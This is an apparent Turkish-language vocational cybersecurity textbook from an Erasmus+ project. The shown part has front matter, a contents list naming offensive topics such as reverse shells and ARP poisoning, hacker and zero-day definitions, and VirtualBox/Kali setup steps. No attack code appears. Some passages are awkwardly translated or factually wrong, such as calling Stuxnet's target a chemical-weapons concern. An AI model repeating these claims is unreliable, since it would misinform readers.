sİber gÜvenlİk kİtabi · 2019-02-04 · eleman ihtiyacını giderecek meslek okulları ve...
TRANSCRIPT
i
“Investigating, Developing And Providing Awareness About Innovative Lesson
Syllabus Implemented in Cyber Security Technologies in Information
Technologies”
SİBER GÜVENLİK KİTABI
COOPERATION FOR INNOVATION AND THE EXCHANGE OF GOOD PRACTICES Strategic Partnerships for Vocational Education and Training Project Number:2016-1-TR01-KA202-034434 COOPERATION FOR INNOVATION AND THE EXCHANGE OF GOOD PRACTICES Strategic Partnerships for Vocational Education and Training Project Number:2016-1-TR01-KA202-034434 Erasmus+ Programı kapsamında Avrupa Komisyonu tarafından desteklenmektedir. Ancak burada yer alan görüşlerden Avrupa Komisyonu ve Türkiye Ulusal Ajansı sorumlu tutulamaz.
ii
ISBN
iii
Proje Ortakları ve Sorumlular
Ali GÖKDEMİR (Proje Koordinatörü - Zonguldak Mesleki ve
Teknik Anadolu Lisesi)
Zonguldak Mesleki ve Teknik Anadolu Lisesinde Bilgisayar
Teknik Öğretmeni olarak görev yapmaktadır. Erasmus+ ve LDV
projelerinde koordinatörlük ve proje ortaklığı görevlerinde
bulunmuştur ve halen de bulunmaktadır. Eğitim Programları ve
Öğretim alanında yüksek lisans derecesi bulunmaktadır. Gagne’
nin Dokuz Öğrenme Adımı ile Bilgisayar Destekli İnteraktif
Simülasyonlar Üzerine Akademik Yönergelere Dayalı Öğretimin
Etkinliği Üzerine makaleleri mevcuttur. Ayrıca bilgisayar ağında
bilgi güvenliği üzerine çalışıyor.
Son 5 yıldır siber güvenlik ve bilgi güvenliği alanında çalışmalar
yürütmektedir. Milli Eğitim Bakanlığı Mesleki ve Teknik Öğretim
Genel Müdürlüğü tarafından oluşturulan Siber Güvenlik
alanındaki yenilikçi müfredatın geliştirilmesi komisyonunda görev
yapmıştır.
Dr. Öğretim Üyesi Erkan ÇETİNER (Proje İrtibat Kişisi-
Bülent Ecevit Üniversitesi)
Bülent Ecevit Üniversitesi Bilgisayar Mühendisliği Bölüm
Başkanlığı görevinin yanı sıra Karaelmas Siber Güvenlik ve
Uygulama Merkezi Müdürlüğü görevini sürdürmektedir. Aynı
üniversite içinde Bilgi İşlem Daire Başkanlığı görevini
sürdürürken yapmış olduğu ve halen yapmakta olduğu siber
güvenlik üzerine çalışmaları bulunmaktadır.
iv
Dr. Indrachapa BANDARA (Proje İrtibat Kişisi- BUCKS
University)
Oxford Üniversitesi'nde Misafir Öğretim Görevlisi / AL Manager
Open University UK’da görev yapmaktadır. Siber güvenlik,
Bilgisayar Ağları ve güvenliği, Nesnelerin İnterneti (IoE),
Nesnelerin İnterneti (IoT), Elektronik Mühendisliği ve Video ve
Görüntü İşleme Becerilerinde eşsiz bir bilgi birikimine ve
kapsamlı mühendislik bilgisine sahiptir. Teknoloji destekli
Öğrenme konusunda yayıncı araştırmacılık yapmaktadır.
Prof. Dr. Ileana HAMBURG (Proje İrtibat Kişisi -
Westfälische Hochschule Gelsenkirchen)
Romanya, Craiova Üniversitesi'nde 20 yıl Matematik ve
Bilgisayar Bilimleri profesörü olarak çalışan Dr. Ileana Hamburg.
Almanya'da yazılım geliştiricisi ve Bilişim Fakültesi'nde
araştırmacı olarak çalıştı. Westfälische Hochschule Gelsenkirchen
Üniversitesi'nde, Dijitalleşme, Bulut Bilişim, E-Öğrenim ve bilgi
yönetimi alanlarında ve Bilişiminde Risklerin Azaltılması" başlıklı
bir yazı yayınlandı. 200'den fazla yayını bulunmaktadır.
Antonio Juan Antonio Lloret Egea (Genel Müdür), Mariano
Abellaneda MANZANARES (Proje İrtibat Kişisi - Asociación
Empresarial de Ingeniería y Formación)
Antonio Juan Antonio Lloret Egea: Endüstriyel Teknik Mühendisi,
3.305 (UPV). Endüstriyel Elektronik ve Otomasyon Derecesi
(Universidad de León). INGEFORMA'nın Genel Müdür görevini
sürdürmektedir.
Abel Mariano Abellaneda Manzanares: Bilgisayar Sistemlerinde
Teknik Mühendisi olup (Universidad de Murcia), Bilgisayar
Mühendisliği Derecesine (UCAM) sahiptir.
v
Sandra Maria Fonseca VELOSO (Proje İrtibat Kişisi -
EPRALIMA_Escola Profissional do Alto Lima, C.I.P.R.L.)
Uluslararası İlişkiler ve Bölgesel işbirliği Politikalarında
uzmandır. Erasmus+ ve daha öncesinde uygulanan LDV,
Comenius, Grundtvig, ToI gibi projelerde hem koordinatör hem de
ortak olarak görev yapmaktadır. Farklı Avrupa ülkelerinde
hareketlilik projelerinin koordinasyonu, uluslararası toplantılar,
konferanslar, değişim ve seminerler gibi etkinliklerde; işbirliği ile
eğitim programları uygulamaktadır.
Christian Sciarretta (Ud'Anet Başkanı), Valentina Del
Cimmuto (Proje İrtibat Kişisi- Ud'Anet)
Christian Sciarretta: Ana faaliyet ve görevleri ticari işlemlerin
yönü, iletişim iletişimi ve dış ilişkilerdir. Avrupa Topluluğu
projeleri için planlama, koordinasyon, bütçe yönetimi konularında
mükemmel bir deneyime sahiptir.
Valentina Del Cimmuto: Eğitim bilimlerinde uzamandır. Kurumda
Proje Müdürü olarak görev yapmaktadır. Ulusal ve Avrupa
projelerinin ve eğitim kurslarının yönetimi ve değerlendirilmesi,
iyi uygulamaların yaygınlaştırılması için seminer ve kongre
organizasyonu konularında çalışmaktadır.
Raimondas Mikalajūnas ( Proje İrtibat Kişisi - Kazimieras
Simonavičius University (KSU))
Uluslararası Ticarette MBA sahibidir. KSU uzmanı, 10 yıldan
fazla tecrübesiyle IVR, MMS, WAP teknolojilerinde uzmandır.
Mobil uygulamalar geliştirmelerinde 8 yıldan fazla uzmanlık
(Symbian,Windows Mobile, Android ve iOS mobil platformu)
sahibidir. Dış kaynaklı hizmetler ve proje yönetiminde uzmanlığı
bulunmaktadır.
vi
ÖNSÖZ
Şirketlerin, son yıllarda, bilgi güvenliği alanında yetkinliğe sahip
bilişim çalışanlarına olan talepleri önemli ölçüde artmaktadır.
Dijitalleşmenin giderek artmasıyla iş dünyasındaki birçok
aktivitenin internet üzerine taşınması ve bulut teknolojileriyle
birlikte, bilgi güvenliği ve verilerin korunması gibi kavramlar,
günümüzde önemli gündem maddesi haline gelmiştir. Şirketler var
olan güvenlik uygulamalarının etkin çalışmasını sağlamak ve yeni
güvenlik uygulamaları oluşturmak amacıyla siber güvenlik
yöneticilerine ve uzmanlarına ihtiyaç duymaktadır.
Son dönemde siber güvenlik alanında artan tehditlerle birlikte,
şirketler ve kamu kurumları bilgi teknolojileri sistemlerinin
güvenliğinin sağlamlaştırılması ve verilerin korunması adına
çeşitli siber güvenlik önemleri almışlardır. Bu önlemlere bağlı
olarak siber güvenlik pazarı giderek büyümektedir. Son yıllarda
şirketler tarafından siber tehdit kaygıları olarak belirlenen alanlar,
şirket tarafından kullanılan uygulamaların olası bir siber saldırıya
karsı savunmasızlığı, mobil cihazlar, virüs saldırıları, şirketlerin
kendi çalışanları tarafından olası bilgi hırsızlığı, hackerler, siber
terör, bulut bilişim ve organize bilişim suçlarıdır.
İhtiyaç duyulan siber güvenlik yetkinliğine sahip kişilerin
yetiştirilebilmesi için, uzmanların ve yöneticilerin istihdam
profillerinin daha iyi anlaşılması ve uygulanacak eğitim ve
istihdam politikalarının o yönde geliştirilmesi gerekmektedir.
Meslek içi eğitimler ve sertifika programları, siber güvenlik
alanında çalışan kişilerin yeni nitelikler kazanması ve niteliklerini
güncel tutması açısından kritik önem taşımaktadır. Siber güvenlik
alanında artan ihtiyaca bağlı olarak yeterli sayıda insan kaynağını
yetiştirmek, kişilere bilgi güvenliği ve verilerin korunması
alanlarında teknik eğitimler vermekle gerçekleşecektir. Mesleki
vii
eğitimin öneminin daha fazla kavranmasıyla birlikte özellikle ara
eleman ihtiyacını giderecek meslek okulları ve akademiler bazı
ülkelerin gündemlerinde ön sıralarda yer almaktadır.
Bu Bağlamda;
Projemiz ile mesleki eğitim veren eğitim kurumlarında yenilikçi ve
teknolojik siber güvenlik eğitim müfredatının oluşturulması,
eğitimlerin verilmesi ve kamuoyunda siber güvenlik konusunda
farkındalık artışı sağlanacaktır.
Bu kitabımızın hayata geçirilmesinde başta proje başvuru makamı
olan Türk Ulusal Ajansı’ na ve Mesleki Eğitim
Koordinatörlüğü’ne, proje sorumlumuz ve uzmanı olan Sayın
Ayhan KAYA’ ya, içeriğin hazırlanmasında bilgi ve becerileri ile
katkıda bulunanlara;
Zonguldak Mesleki ve Teknik Anadolu Lisesi:
• Ali Gökdemir (Proje Koordinatörü),
• Bahattin Doğan,
• Yusuf Kılıç,
• Fatih Başer
Westfalische Hochschule Gelsenkirchen, Bocholt, Recklinhausen:
• Ileana Hamburg
• Fikret Öz
EPRALIMA_Escola Profissional do Alto Lima, C.I.P.R.L
• Daniel Codeco Sousa
Teşekkür ederiz.
Kitabımız, temel ve orta düzey kullanıcılar seviyesinde
hazırlanmış olup, bu kitap sayesinde, okuyucular siber güvenlik
konusunda bilgi kazanacaklar ve toplumsal farkındalık artışı
sağlamada etkili olacaklardır. Kitabımız genel itibari ile benzer
viii
projeleri gerçekleştirmek isteyenler için başvuru niteliği
oluşturmaktadır.
ix
İçindekiler
1 Bölüm A ........................................................................................... 1
1.1 Giriş .......................................................................................... 1
1.1.1 Hacker ve Hacking Koşulları ........................................... 1
1.1.2 Exploit ve Zero Day Koşulları .......................................... 3
1.1.3 Virtual Machine Program Kurulumu ................................ 4
2 Bölüm B.......................................................................................... 17
2.1 Bilgi Toplama ......................................................................... 17
2.1.1 Veri ve Bilgi Arasındaki Fark......................................... 17
2.1.2 Bilgi Toplama Yöntemleri .............................................. 18
2.1.3 Pasif Bilgi Toplama ........................................................ 18
2.1.4 Aktif Bilgi Toplama........................................................ 27
3 Bölüm C.......................................................................................... 49
3.1 Sızma Teknikleri .................................................................... 49
3.1.1 Port Scanner Tanımlamalar – Zaafiyet / Port Tarama .... 49
3.1.2 IP ile ilgili Konular ......................................................... 52
3.1.3 Full TCP Bağlantısı ve SYN Taraması ........................... 53
3.1.4 Gizli ve Dolaylı Tarama ................................................. 54
3.1.5 Parçalanmış, Decoy ve Coordinated Tarama .................. 56
3.1.6 Kimlik ve Proxy Tarama ................................................ 59
3.1.7 Extra Tarama Teknikleri ................................................. 61
3.1.8 Exploit Geliştirme Kavramı ............................................ 64
3.1.9 Metasploit ....................................................................... 66
4 Bölüm D ......................................................................................... 75
4.1 Sniffing Nedir? ....................................................................... 75
4.1.1 Sniffer Araçları ............................................................... 75
4.1.2 Anahtarlı Ağların Dinlenmesi ........................................ 86
4.1.3 Sniffing Saldırılarının Tespiti ......................................... 96
4.2 Şifreleme ................................................................................. 98
4.2.1 Simetrik Şifreleme .......................................................... 99
4.2.2 DES (Veri Şifreleme Standartı) .................................... 100
4.2.3 Anahtar ikilisi ile Şifreleme .......................................... 100
4.2.4 Anahtarsız Şifreleme (Hash Fonksiyonları) ................. 101
4.2.5 Encoding/Decoding ...................................................... 101
4.2.6 Steganografi .................................................................. 102
4.3 Online Parola Saldırıları ....................................................... 106
4.3.1 Online Parola Kırma Araçları ....................................... 106
x
4.3.2 Offline Parola Saldırıları .............................................. 113
4.3.3 Sözlük Saldırıları .......................................................... 115
4.3.4 Brute Force ................................................................... 116
4.3.5 Rainbow TabloSaldırıları ............................................. 117
4.3.6 John the Ripper Aracı ................................................... 121
4.3.7 Cain & Abel .................................................................. 123
4.4 DOS /DDOS ........................................................................ 125
4.4.1 SYN Flood .................................................................... 126
4.4.2 UDP Flood .................................................................... 127
4.5 SQL Enjeksiyonu .................................................................. 129
4.5.1 SQL Enjeksiyonuna Giriş ............................................. 129
4.5.2 SQLi saldırılarına örnekler ........................................... 130
4.5.3 Sqlmap kullanarak Kali'de SQL Injection .................... 132
4.5.4 Savunmasız web sitelerini bulma ................................. 132
4.5.5 Sqlmap ile Başlangıç .................................................... 134
4.5.6 SQLi’den kaçınma teknikleri ve karşı önlemler ........... 135
4.6 Man in The Middle (MITM) Atak Tekniği .......................... 136
4.6.1 ARP zehirlenmesini kullanarak MITM saldırıları ........ 137
4.6.2 ARP zehirlenmesinin arp komutu ile kullanılması ....... 139
4.6.3 Görüntüleri kaydetme ................................................... 140
4.6.4 Ziyaret edilen web sayfalarının URL'lerini kaydetme .. 141
5 Bölüm E ........................................................................................ 143
5.1 Kablosuz Ağ Güvenliği ........................................................ 143
5.1.1 Temel kavramlar ........................................................... 143
5.1.2 802.11'de güvenlik mekanizmaları ............................... 147
5.1.3 Kablolu Eşdeğer Gizlilik .............................................. 147
5.1.4 Fiziksel adres filtreleme ve SSID gizleme .................... 149
5.1.5 Wi-Fi Korumalı Erişim (WPA) ve WPA2.................... 150
5.1.6 802.1X .......................................................................... 152
5.1.7 Kablosuz Ağların Güvenliğine Tehditler ...................... 154
5.1.8 İletişimin kesilmesi ....................................................... 154
5.1.9 Hizmet Reddi (DoS- Denial of Service) saldırıları ....... 155
5.1.10 Rogue Erişim Noktaları ................................................ 155
5.1.11 İstemciler tarafından kullanılan yazılımların açıkları ... 156
6 Bölüm F ........................................................................................ 157
6.1 Web Güvenliği (Web Güv. Açığı ve Güv. Test Teknikleri) . 157
6.1.1 Güvenlik testine yaklaşımlar ........................................ 158
6.1.2 Şifre kırma .................................................................... 158
6.1.3 URL manipülasyonu ..................................................... 158
xi
6.1.4 SQL Injection'a karşı test .............................................. 159
6.1.5 XSS saldırılarına karşı test ........................................... 159
6.1.6 Güvenlik Açığı Tarayıcılar ........................................... 159
6.1.7 Vega Güvenlik Açığı Tarayıcısı ................................... 160
6.1.8 Nikto Vulnerability Scanner ......................................... 164
xii
Şekiller Tablosu
Şekil 1-1 Zero-day saldırının güvenlik açığı pencereleri ................ 3
Şekil 1-2 - www.virtualbox.org’ dan Oracle VirtualBox indirme .. 5
Şekil 1-3 - Oracle VirtualBox installe’ı Çalıştırma ......................... 6
Şekil 1-4 - Oracle VirtualBox’ın kurulumunun başlaması .............. 6
Şekil 1-5 - Kurulum Tamamlanması ve Onayı ............................... 7
Şekil 1-6 - VirtualBox kurulum doğrulaması .................................. 8
Şekil 1-7 -Kullanılacak RAM seçimi .............................................. 9
Şekil 1-8 - Kullanılacak Diask Alanı seçimi ................................... 9
Şekil 1-9 - Downloading Kali (64 bit sürümü) ............................. 10
Şekil 1-10 - Kurulum için Kali Linux ISO image dosyası seçimi11
Şekil 1-11 - Oracle VirtualBoxiçine Kali Linux Kurulumu .......... 12
Şekil 1-12 - Kali Linux kurulumu boyunca otomatik disk
bölümleme seçimi ......................................................................... 13
Şekil 1-13 - Disk bölümleme onayı............................................... 13
Şekil 1-14 - GRUB Ayarı için Onay penceresi ............................. 13
Şekil 1-15 - GRUB yükleneceği yer onayı .................................... 14
Şekil 1-16 - Kali Linux kurulumu sonrası Masaüstü .................... 14
Şekil 1-17 - Network ayarlarına erişim ......................................... 15
Şekil 1-18 Kablolu arabirim için ağ yapılandırması ..................... 16
Şekil 1-19 - Kablosuz ağları onaylama ......................................... 16
Şekil 2-1-Whois web sitesi ............................................................ 19
Şekil 2-2 Whois site sorgusu ......................................................... 20
Şekil 2-3 Ripe websitesi ................................................................ 21
Şekil 2-4 Ripe.net site sorgulama .................................................. 21
Şekil 2-5 Serversniff.de screenshot ............................................... 22
Şekil 2-6 Domain isim sorgusu -1 ................................................. 23
Şekil 2-7 Domain isim sorgusu - 2 ................................................ 23
Şekil 2-8 Subdomain sorgulama ................................................... 24
Şekil 2-9 Archive.org .................................................................... 25
Şekil 2-10 waybackmachine.com .................................................. 25
Şekil 2-11 Netcraft.com ................................................................ 26
Şekil 2-12 Netcraft.com sonuç ekranı ........................................... 27
Şekil 2-13 Pipl.com ....................................................................... 27
xiii
Şekil 2-14 NMAP kurulumu ......................................................... 29
Şekil 2-15 nmap Örnek 1.1 ........................................................... 31
Şekil 2-16 nmap Örnek 1.2 ........................................................... 32
Şekil 2-17 nmap online port tarayıcı ............................................. 38
Şekil 2-18 Örneğin çıktısı ............................................................. 40
Şekil 2-19 Netcat kullanımı -1 ...................................................... 40
Şekil 2-20 Netcat kullanımı -2 ...................................................... 41
Şekil 2-21 Netcat Reverse Shell .................................................... 42
Şekil 2-22 Netcad reverse shell örneği .......................................... 44
Şekil 2-23 Bash reverse shell örneği ............................................. 45
Şekil 2-24 Perl reverse shell örneği ............................................... 46
Şekil 2-25 PHP reverse shell örneği .............................................. 47
Şekil 2-26 Natcat bind shell .......................................................... 47
Şekil 2-27 Netcad Bind Shell örneği ............................................. 48
Şekil 4-1 Kali Araçları .................................................................. 76
Şekil 4-2 Wireshark bölümleri - 1 ................................................. 81
Şekil 4-3 Wireshark bölümleri-2 ................................................... 82
Şekil 4-4 Arp Zehirleme ................................................................ 88
Şekil 4-5 Arp zehirleme örneği ..................................................... 89
Şekil 4-6 Ettercap .......................................................................... 90
Şekil 4-7 Ettercap- host ların taranması ........................................ 90
Şekil 4-8 Ettercap host ların listesi ............................................... 91
Şekil 4-9 Ettercap - Arp zehirleme ................................................ 91
Şekil 4-10 Ettercap check poisoning ............................................. 92
Şekil 4-11 Ettercap - bağlantılar .................................................... 93
Şekil 4-12 Ettercap ile bilginin yakalanması ................................. 93
Şekil 4-13 Driftnet ile ağ trafiğinden alınan bilginin çizilmesi ..... 96
Şekil 4-14 arp poisonınig tespiti .................................................... 97
Şekil 4-15 Anahtar ile şifreleme .................................................... 98
Şekil 4-16 Steganography algoritması ........................................ 103
Şekil 4-18 Orijinal dosya ............................................................. 104
Şekil 4-18 Steghide çıktısı........................................................... 104
Şekil 4-19 Steghide – Resim içine resim saklama ...................... 106
Şekil 4-20 Hydra parola saldırısı ................................................. 108
Şekil 4-21 ncrack parola saldırısı ................................................ 109
Şekil 4-22 nmap ile açık portların tespiti .................................... 113
xiv
Şekil 4-23 Medusa ile parola saldırısı ......................................... 113
Şekil 4-24 Hashid ........................................................................ 114
Şekil 4-25 findmyhash örneği ..................................................... 115
Şekil 4-26 winrtgen aracı ............................................................ 117
Şekil 4-27 winrtgen rainbow Table çıktısı .................................. 118
Şekil 4-28 winrtgen tabloları ....................................................... 118
Şekil 4-29 Rainbow Tablosu üreticisi rtgen ................................ 120
Şekil 4-30 rtsort aracı .................................................................. 120
Şekil 4-31 rcrack aracı ................................................................. 121
Şekil 4-32 John ile linuz system şifresini kırma ......................... 122
Şekil 4-33 john ile rar şifresi kırma ............................................. 122
Şekil 4-34 john ile md5 hashini kırma ........................................ 122
Şekil 4-35 john ile sözlük saldırısı .............................................. 123
Şekil 4-36 cain & abel aracı ........................................................ 124
Şekil 4-37 cain & abel parola kırma ............................................ 124
Şekil 4-38 cain & abel ile sözlük saldırısı ................................... 125
Şekil 4-39 SYN Flood ................................................................. 126
Şekil 4-40 Botnet Saldırısı .......................................................... 127
Şekil 4-41 nmap ile kurbanın açık portları .................................. 128
Şekil 5-1 ISM (2.4 GHz) bandında mevcut kanallar ................... 145
Şekil 5-2 Altyapı modunda bir kablosuz ağın topolojisi ............. 146
Şekil 5-3 802.1x'te kimlik doğrulama modeli (RADIUS ile) ..... 154
Şekil 6-1 Kali Linux'ta Vega Kurulumu .................................... 161
Şekil 6-2 Vega güvenlik açığı tarayıcısının kullanılabilirliği ..... 161
Şekil 6-3 Bir web uygulamasının güvenlik açığını taramak için
hedefin tanımı .............................................................................. 162
Şekil 6-4 Güvenlik açığı taraması için modül seçimi ................. 163
Şekil 6-5 Güvenlik açığı taramasından sonraki özet rapor ......... 164
Şekil 6-6 Güvenlik açığı taraması yapmak için nikto kullanımı . 165
Şekil 6-7 nikto tarafından üretilen güvenlik açıkları raporu ....... 166
1
1 Bölüm A
1.1 Giriş
1.1.1 Hacker ve Hacking Koşulları
Hacking (Korsanlık) eylemiyle ilgili temel terimleri tanımlayarak
başlıyoruz. Bir bilgisayar korsanı, tanım gereği, zorlayıcı bir
teknik problemin üstesinden gelmek için bilgisayar kullanan bir
bireydir. Böylece, bir hacker, tanım gereği, bir sisteme saldırmak
zorunladır. Bununla birlikte, genellikle hacker teriminin, yüksek
teknik becerilere sahip olan herkesin yapabileceği, ancak suç
işlemek için sistemlere yetkisiz erişim elde etme yeteneklerini
kullandığını görüyoruz. Bir bilgisayar korsanı, örneğin, bilgi
çalmak ya da sistemleri ele geçirmek ve genellikle, son
zamanlarda fidye yazılım saldırıları gibi fidye toplamak için bu
sistemleri rehin tutuyor olabilirler. Ayrıca, hack faaliyetleri ile
ilgili bazı temel terimlerin tanımlanması da gerekmektedir.
Amacımız, onların etkinliklerini ve kimliklerine biraz ışık
tutmaktır.
Siyah şapka (Black Hat) genellikle finansal nedenlerle harekete
geçirilen yasadışı korsanlık faaliyetlerini yürütmek için motive
olmuş bir kişidir. Motivasyonlar, imha, talep, fidye, veriyi
değiştirme veya çalma veya sadece yetkili kullanıcıların ağ
kaynaklarına erişmesini engellemeyi içerebilir. Bu ismin, eski
sessiz siyah-beyaz filmlerdeki kötü adamların sinema izleyicileri
tarafından belirlendiğinden, siyah şapka giydikleri, “iyi adamlar”
beyaz şapka giydiği gerçeğinden de anlaşılmaktadır. Önceki
tanımların tamamlayıcısı olan beyaz şapka (White hat), sosyal
fayda için becerilerini kullanan ve sistemlerde güvenlik açıklarını
bularak ve göstererek yardımcı olan bir bilgisayar korsanıdır.
2
Bir başka ilginç tanım, bir arka kapıdır. Bir arka kapı, girişler ve
parolalar gibi normal korumaları atlayan bir bilgisayar sistemine
bir “yol” dur. İlgili bir tanım, bir gri şapka durumudur. Bu
durumda bu tip korsanlık yapan kişiler yaptıkları işi kişisel ya da
finansal kazanç için yapmazlar. Örneğin, gri bir şapka politik veya
aktivist bir motivasyonla korsanlık yapabilir. Hem şifrelenmiş hem
de genel olarak bir bilgisayar sistemine kaba kuvvet (Brute Force)
saldırısı uygulanabilir. Örneğin, bir saldırgan şifrelenmiş bilgileri
kurtarmayı denemek ya da bir sisteme erişmeye çalışırken
mümkün olan her parola için otomatik bir arama yapmak için tüm
olası şifreleme anahtarlarını deneyebilir.
Yazılım uygulamalarının yıkılmasına yönelik olarak, kötü amaçlı
yazılım, bir sistemdeki verileri denetlemek veya çalmak için
tasarlanmış bir programdır. İlgili bir tehdit phishing'tir, bu da şifre
veya kredi kartı bilgileri gibi kişisel bilgilerini size vermenin bir
yöntemidir bu yöntem ile birisini kandırmaktasınız aslında. Kimlik
avı saldırıları (Phishing), güvenilir kişilerden veya kurumlardan
gelmiş gibi görünen kurbanlara e-posta göndermeyi içerir. İlgili
email, gerçek bir e-postayı veya iletişimi değiştirme eylemine
atıfta bulunan sahtekarlıktır. Örneğin, bir web sayfası, bankanızın
ekran görüntüsünü göründüğü şekilde alıp, verilerinizin
güvenliğini daha sonra tehlikeye atacak olan bilgileri sağlamanızı
istemesi için değiştirilebilir. Casus yazılımlar (Spyware), başka bir
uygulama veya sistemde fark edilmeden oturmaya ve verileri
hacker'lara geri göndermeye programlanmış kötü amaçlı yazılım
uygulamalarının genel sınıflandırmasıdır. Öte yandan, bir truva atı
(Trojan), iyi niyetli ve kullanışlı bir uygulama olarak gizlenmiş bir
kötü amaçlı yazılımla ilgilidir, bunun yerine sisteminize bir arka
kapı yükler ve sisteminize ve verilerinize sınırsız erişim sağlar.
Daha eski ve iyi bilinen virüs terimi, kendi kendini kopyalayan bir
kötü amaçlı yazılım uygulaması için geçerli olan bir terimdir.
Virüs, bir sabit diski imha etmek, bilgi çalmak ve tuş vuruşlarını
kaydetmek gibi felaket hasarlarına neden olabilir ve genellikle,
kullanıcıların sistemlerinde bulunan anti-virüs uygulamaları
3
tarafından, ancak stratejik sunucularda (örneğin, e-posta filtreleme
sunucularında) tespit edilebilir.
1.1.2 Exploit ve Zero Day Koşulları
Günümüzde zero day saldırıları büyük önem bir önem
taşımaktadır. Bir sistemde veya yazılım uygulamasında var olan
Zero Day, bir güvenlik açığından kaynaklanmaktadır. Bu ad, bu
güvenlik açığı sınıfının, ilk önce, hedef yazılımın sağlayıcısı veya
genel olarak güvenlik topluluğundaki diğer kişilerin güvenlik
açığını hafifletmekle ilgilenenler için bilinmediği gerçeğiyle
ilgilidir. Bu nedenle, güvenlik açığı giderilene kadar, saldırganlar
sistemi istismar etmekte ve uygulamaları, verileri veya ağın
kendisini olumsuz yönde etkilemektedirler. Şekil 1.1'de, Zero Day
saldırısı için zaman çizelgesini ve sistemin savunmasız ve
saldırılara açık olduğu karşılık gelen süreci görebilirsiniz.
Gördüğünüz gibi bu dönem kritik bir süreçtir ve saldırganların
üretim sistemindeki verileri yıkmak ve çalmak için bir kapı
bırakmaktadır.
Şekil 1-1 Zero-day saldırının güvenlik açığı pencereleri
Zero Day (Sıfır-gün) saldırıları bağlamında, ilgili bir tanım sıfır
günlük bir istismardır. Bu nedenle, sıfır günlük bir istisna, bir
sistemdeki veya uygulamadaki sıfır günlük bir güvenlik açığına
yönelik bir istisna için geçerlidir ve bu durumda, gün sıfır, satıcı
veya güvenlik topluluğunun, Şekil 1.1'de gösterildiği gibi,
4
güvenlik açığı hakkında öğrendiği gündür. Satıcı ve güvenlik
topluluğu tarafından güvenlik açığını öğrendikten sonra, yamalar
oluşturulacak ve istismarın azaltılması için geçici çözümler
hakkında bilgi verilecektir. Benzer bir şekilde, örneğin otuz gün
boyunca bilinen bir zafiyet olarak kullanılabilir hata bu işlem 30
günlük bir güvenlik açığı olarak adlandırılmaktadır.
Siber güvenlik konusundaki yakın tarih, WikiLeaks
(https://wikileaks.org/ciav7p1/) tarafından son zamanlarda
yayınlanan CIA Hacking Aracıs gibi raporlar, Zero Day (Sıfır-
gün) güvenlik açıkları ile doludur. Diğer iyi ve iyi bilinen örnekler
Stuxnet ve Sony Zero-Day saldırısıdır. Stuxnet, İran'ın uranyum
zenginleştirme santrifüjlerini kimyasal silah üretmekten korktuğu
zaman kırmak için kullanılmıştır. Güvenlik toplumu, sıfır güvenlik
açığının Ulusal Güvenlik Ajansı (NSA) tarafından yaratıldığına ve
saldırı sırasında İranlıların kullandıkları endüstriyel kontrol
sistemlerinin her şeyin normal çalıştığını gösterdiğini, Stuxnet'in
ise hızlanmaya ya da yavaşlamaya başladığına inanmaktadır. Bir
diğer iyi bilinen sıfır-gün saldırısı, Sony Zero-Day saldırısıdır.
Başka bir saldırı örneği olarak, bilgisayar korsanlarının Sony'nin
kendi ağından 100 terabayttan fazla veriyi çalarak, saldırı tespit
edilinceye ve sistem kapanasıya kadar, haksız kazançlar elde
etmelerini sağladı.
1.1.3 Virtual Machine Program Kurulumu
Bu kitapta güvenlikle ilgili çeşitli kavramların pratik uygulaması
büyük önem taşımaktadır. Bu amaçla, Linux İşletim Sistemini,
daha doğrusu Kali Linux'u (https://www.kali.org) daha uygun
bulmaktayız. Uygulamalarımızı daha çok Kali Linux üzerinden
gerçekleştireceğiz. Kali Linux, güvenlik eğitimi ve penetrasyon
testine odaklı açık kaynaklı bir projedir. Kali Linux'u kurmak için,
bilgisayarımızda bir Sanal Makine yöneticisi veya Hypervisor'u
indirerek ve yükleyerek başlıyoruz, hatta başka bir uyugulamala
5
olan Oracle VirtualBox’ı tavsiye ediyoruz.
(https://www.virtualbox.org).
Şekil 1.2'de, Oracle VirtualBox'ın, daha ayrıntılı olarak İndirme
oturumuna erişerek ve uygun hedef platformu seçerek, Projenin
Ana Sayfasından nasıl indirilebileceğini gösteriyoruz. Aşağıdaki
örneklerde, Mac OS X işletim sistemini kullanıyor olacağız, ancak
sağlanan örnekleri kendi platformunuza kolayca uyarlayabilirsiniz.
Şekil 1-2 - www.virtualbox.org’ dan Oracle VirtualBox indirme
Platformunuz için Oracle VirtualBox'ın en yeni sürümünü
indirdikten sonra, Şekil 1.3 ve 1.4'te gösterildiği gibi insattler’ı
başlatarak kurun. Yazılım kurulumunu varsayılan yapılandırma
boyunca gerçekleştirildiği gibi yapabilirsiniz; Diğer kurulum
seçeneklerini araştırınız.
6
Şekil 1-3 - Oracle VirtualBox installe’ı Çalıştırma
Şekil 1-4 - Oracle VirtualBox’ın kurulumunun başlaması
7
Şekil 1-5 - Kurulum Tamamlanması ve Onayı
Artık Oracle VirtualBox'ı kurduğumuza göre, bir sonraki adım
VirtualBox Extension Pack'i kurmaktır. Oracle VirtualBox'a bir
eklenti olarak (add-on) USB 2.0 ve 3.0 aygıtlarının desteklenmesi
ve Uzak Masaüstü Protokolü (RDP) ve Preboot Execution
Environment (PXE) protokollerinin desteklenmesini (Sanal
Makinelerde) sağlamak için yapılmaıs gereken bir işlemdir.
Extension Paketinin desteklenen tüm platformlarda yaygın
olduğunu ve ayrıca VirtualBox Ana Sayfasının İndirmeler
bölgesinde olduğunu unutmayın. Yüklemek için, sadece arşivi çift
tıklayın ve talimatları takip edin. Eklenti paketinin zaten yüklü
olması durumunda veya bu yeni bir sürüm olması durumunda,
Şekil 1.6'da gösterildiği gibi kullanıcıdan bir onay isteneceğini
lütfen unutmayın.
8
Şekil 1-6 - VirtualBox kurulum doğrulaması
Sanal Makine Yöneticisini kurma hedefimize ulaştığımıza göre,
Kali Linux'un Hipervizörümüzde bir Sanal Makine olarak nasıl
kurulabileceğini yaparak ilerliyoruz.
1.1.3.1 Sanal Makine içinde Linux Sürümü Kurma
Daha önce söyleidğimiz gibi, bir sonraki hedefimiz Kali Linux'u
yeni Hypervisor, Oracle Virtual Box (VM) olarak kurmaktır. Bu
amaç doğrultusunda, ilk adım yeni bir VM oluşturmaktır ve lütfen
yeni VM'nin en az 1024 Mb RAM ve 12 Gb disk alanı ile
oluşturunuz. Şekil 1.7, yeni VM'nin oluşturulmasındaki ilk adımı
göstermektedir ve en az 1024 Mb RAM'in yapılandırıldığından
emin olmalısınız. Şekil 1.8, Kali Linux için kullanılabilecek disk
alanını seçtiğimiz bir sonraki adımı göstermektedir.
9
Şekil 1-7 -Kullanılacak RAM seçimi
Şekil 1-8 - Kullanılacak Diask Alanı seçimi
